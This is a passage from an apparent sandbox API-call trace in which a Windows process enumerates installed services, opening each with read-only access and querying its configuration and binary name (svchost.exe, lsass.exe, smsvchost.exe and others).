[0028.024] OpenServiceW (hSCManager=0x6637d8, lpServiceName="MpsSvc", dwDesiredAccess=0x1) returned 0x663968 [0028.024] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.024] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.024] GetLastError () returned 0x7a [0028.024] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x164, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cd28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x54cd28, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0028.025] OpenServiceW (hSCManager=0x6637d8, lpServiceName="MSDTC", dwDesiredAccess=0x1) returned 0x6638c8 [0028.025] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.025] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.025] GetLastError () returned 0x7a [0028.025] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x13c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc.exe", cchWideChar=9, lpMultiByteStr=0x54cd70, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc.exe", lpUsedDefaultChar=0x0) returned 9 [0028.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x54cd70, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0028.026] OpenServiceW (hSCManager=0x6637d8, lpServiceName="MSiSCSI", dwDesiredAccess=0x1) returned 0x6639b8 [0028.026] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.026] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.026] GetLastError () returned 0x7a [0028.026] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x126, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cdb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x54cdb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0028.026] OpenServiceW (hSCManager=0x6637d8, lpServiceName="msiserver", dwDesiredAccess=0x1) returned 0x6638a0 [0028.027] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.027] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.027] GetLastError () returned 0x7a [0028.027] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0xf6, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiexec.exe", cchWideChar=11, lpMultiByteStr=0x54ce00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiexec.exe", lpUsedDefaultChar=0x0) returned 11 [0028.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napagent", cchWideChar=8, lpMultiByteStr=0x54ce00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napagent", lpUsedDefaultChar=0x0) returned 8 [0028.027] OpenServiceW (hSCManager=0x6637d8, lpServiceName="napagent", dwDesiredAccess=0x1) returned 0x663968 [0028.028] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.028] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.028] GetLastError () returned 0x7a [0028.028] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x150, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54ce48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netlogon", cchWideChar=8, lpMultiByteStr=0x54ce48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netlogon", lpUsedDefaultChar=0x0) returned 8 [0028.028] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Netlogon", dwDesiredAccess=0x1) returned 0x6638c8 [0028.028] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.029] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.029] GetLastError () returned 0x7a [0028.029] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x126, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x54ce90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netman", cchWideChar=6, lpMultiByteStr=0x54ce90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netman", lpUsedDefaultChar=0x0) returned 6 [0028.029] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Netman", dwDesiredAccess=0x1) returned 0x6639b8 [0028.033] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.033] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.033] GetLastError () returned 0x7a [0028.033] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x13c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54ced8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netmsmqactivator", cchWideChar=16, lpMultiByteStr=0x54ced8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netmsmqactivator", lpUsedDefaultChar=0x0) returned 16 [0028.034] OpenServiceW (hSCManager=0x6637d8, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x1) returned 0x6638a0 [0028.034] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.034] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.034] GetLastError () returned 0x7a [0028.034] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x18a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x54cf20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netpipeactivator", cchWideChar=16, lpMultiByteStr=0x54cf20, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netpipeactivator", lpUsedDefaultChar=0x0) returned 16 [0028.035] OpenServiceW (hSCManager=0x6637d8, lpServiceName="NetPipeActivator", dwDesiredAccess=0x1) returned 0x663968 [0028.035] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.035] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.035] GetLastError () returned 0x7a [0028.035] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x154, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x54cf68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netprofm", cchWideChar=8, lpMultiByteStr=0x54cf68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netprofm", lpUsedDefaultChar=0x0) returned 8 [0028.035] OpenServiceW (hSCManager=0x6637d8, lpServiceName="netprofm", dwDesiredAccess=0x1) returned 0x6638c8 [0028.036] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.036] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.036] GetLastError () returned 0x7a [0028.036] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x140, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cfb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpactivator", cchWideChar=15, lpMultiByteStr=0x54cfb0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpactivator", lpUsedDefaultChar=0x0) returned 15 [0028.036] OpenServiceW (hSCManager=0x6637d8, lpServiceName="NetTcpActivator", dwDesiredAccess=0x1) returned 0x6639b8 [0028.037] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.037] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.037] GetLastError () returned 0x7a [0028.037] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x176, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x54cff8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nettcpportsharing", cchWideChar=17, lpMultiByteStr=0x54cff8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nettcpportsharing", lpUsedDefaultChar=0x0) returned 17 [0028.037] OpenServiceW (hSCManager=0x6637d8, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x1) returned 0x6638a0 [0028.037] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.038] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.038] GetLastError () returned 0x7a [0028.038] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x154, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smsvchost.exe", cchWideChar=13, lpMultiByteStr=0x54d040, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smsvchost.exe", lpUsedDefaultChar=0x0) returned 13 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nlasvc", cchWideChar=6, lpMultiByteStr=0x54d040, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nlasvc", lpUsedDefaultChar=0x0) returned 6 [0028.038] OpenServiceW (hSCManager=0x6637d8, lpServiceName="NlaSvc", dwDesiredAccess=0x1) returned 0x663968 [0028.038] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.039] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.039] GetLastError () returned 0x7a [0028.039] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x15a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d088, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nsi", cchWideChar=3, lpMultiByteStr=0x54d088, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nsi", lpUsedDefaultChar=0x0) returned 3 [0028.039] OpenServiceW (hSCManager=0x6637d8, lpServiceName="nsi", dwDesiredAccess=0x1) returned 0x6638c8 [0028.039] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.040] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.040] GetLastError () returned 0x7a [0028.040] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d0d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose64", cchWideChar=5, lpMultiByteStr=0x54d0d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose64", lpUsedDefaultChar=0x0) returned 5 [0028.040] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ose64", dwDesiredAccess=0x1) returned 0x6639b8 [0028.040] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.040] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.041] GetLastError () returned 0x7a [0028.041] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x140, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x54d118, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc", cchWideChar=7, lpMultiByteStr=0x54d118, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc", lpUsedDefaultChar=0x0) returned 7 [0028.041] OpenServiceW (hSCManager=0x6637d8, lpServiceName="osppsvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.041] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.041] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.042] GetLastError () returned 0x7a [0028.042] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x1b0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="osppsvc.exe", cchWideChar=11, lpMultiByteStr=0x54d160, cbMultiByte=11, lpDefaultChar=0x0, 